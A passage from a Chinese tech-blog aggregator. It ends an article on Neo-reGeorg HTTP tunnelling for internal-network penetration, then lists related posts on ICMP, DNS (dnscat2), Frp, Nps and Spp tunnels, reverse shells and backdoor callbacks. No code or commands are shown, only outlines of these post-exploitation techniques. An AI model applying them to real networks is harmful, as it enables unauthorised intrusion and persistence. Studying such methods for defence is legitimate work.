绕过:改为维护一个字典,而不是纯随机

结语

由于是HTTP,没有加密,所以其实可用的空间不大文章来源地址https://www.toymoban.com/news/detail-448202.html

到了这里,关于内网渗透系列:内网隧道之Neo-reGeorg的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 内网渗透ICMP隧道搭建

    192.168.0.x模拟外网机器,1.1.1.x模拟内网机器 Linux(1.1.1.111/192.168.0.138)为WEB服务器,模拟getshell了WEB服务器的情况,通过该被控制机器将内网Windows机器(1.1.1.99)的3389远程端口映射到外网VPS(192.168.0.130)的2320端口上,黑客机器通过RDP连接192.168.0.130:2320实现远控内网Windows机器

    2024年02月16日
    浏览(42)
  • reGeorg搭建http隧道实验

    目录 工具下载地址 测试工具 实验 受害者 攻击者 开始测试

    2024年02月16日
    浏览(33)
  • 网络安全内网渗透之DNS隧道实验--dnscat2直连模式

    目录 一、DNS隧道攻击原理 二、DNS隧道工具 (一)安装dnscat2服务端 (二)启动服务器端 (三)在目标机器上安装客户端 (四)反弹shell         在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。入股哦在互联网上

    2024年02月06日
    浏览(48)
  • 毕业设计:Vue3+FastApi+Python+Neo4j实现主题知识图谱网页应用——前言

    资源链接:https://download.csdn.net/download/m0_46573428/87796553 前言:毕业设计:Vue3+FastApi+Python+Neo4j实现主题知识图谱网页应用——前言_人工智能技术小白修炼手册的博客-CSDN博客 首页与导航:毕业设计:Vue3+FastApi+Python+Neo4j实现主题知识图谱网页应用——前端:首页与导航栏_人工智

    2024年02月14日
    浏览(47)
  • 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一:CS反向连接上线 - 拿下Win2008 一. 使用转发代理上线创建监听器 二. 上传后门执行上线 隧道技术 - SMB协议 SMB协议介绍 实战二:SMB协议搭建隧道 正向连接 - 拿下

    2024年02月08日
    浏览(37)
  • 内网安全:初探隧道技术

    目录 防火墙必备知识 域控-防火墙组策略对象同步 域控 - 防火墙组策略不出网上线 MSF上线 CS - ICMP上线 注意:隧道技术是后渗透手段,是在已经取得权限后的手段 域控-组策略同步 学习防火墙的目标是知道了解防火墙的一些常见配置对内网渗透的影响,并不需要像运维一样全

    2024年02月07日
    浏览(41)
  • 【内网安全-隧道搭建】内网穿透_Nps配置、上线

    目录 Nps(自定义上线) 1、简述: 2、工具的配置:  1、准备: 2、服务端配置: 3、客户端配置 3、工具的使用: 1、web管理界面 2、客户端上线  3、msf后门 1) nps: 是一款轻量级、高性能、功能强大的内网穿透代理服务器 2) 功能: 目前支持 tcp、udp 流量转发,可支持任何

    2024年02月03日
    浏览(35)
  • 【内网安全-隧道搭建】内网穿透_Frp上线、测试

    目录 Frp(简易上线) 1、简述: 2、工具: 3、使用: 1、准备: 2、服务端(公网): 2、客户端(内网): 3、测试方法: 4、生成后门木马监听: 1) Frp (Fast Reverse Proxy) 是一个免费开源的用于内网穿透的 反向 代理应用,它支持 TCP、UDP 协议 , 也为 HTTP、HTTPS 协议提供了额

    2023年04月08日
    浏览(38)
  • 内网安全:隧道技术详解_第125天:内网安全-隧道技术&smb&icmp&正反向连接&防火墙出入规则上线

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一:CS反向连接上线 - 拿下Win2008 一. 使用转发代理上线创建监听器 二. 上传后门执行上线 隧道技术 - SMB协议 SMB协议介绍 实战二:SMB协议搭建隧道 正向连接 - 拿下

    2024年02月22日
    浏览(46)
  • 【内网安全-隧道搭建】内网穿透_Spp上线(全双工通信)

    目录 Spp(特殊协议上线) 1、简述: 2、用法: 1、准备 2、服务器 3、客户机 4、cs、msf 1) 支持的协议: tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic 2) 支持的类型: 双向代理、socks5正向代理、socks5反向代理 3) 外部代理协议 和 内部转发协议 可以

    2024年02月03日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包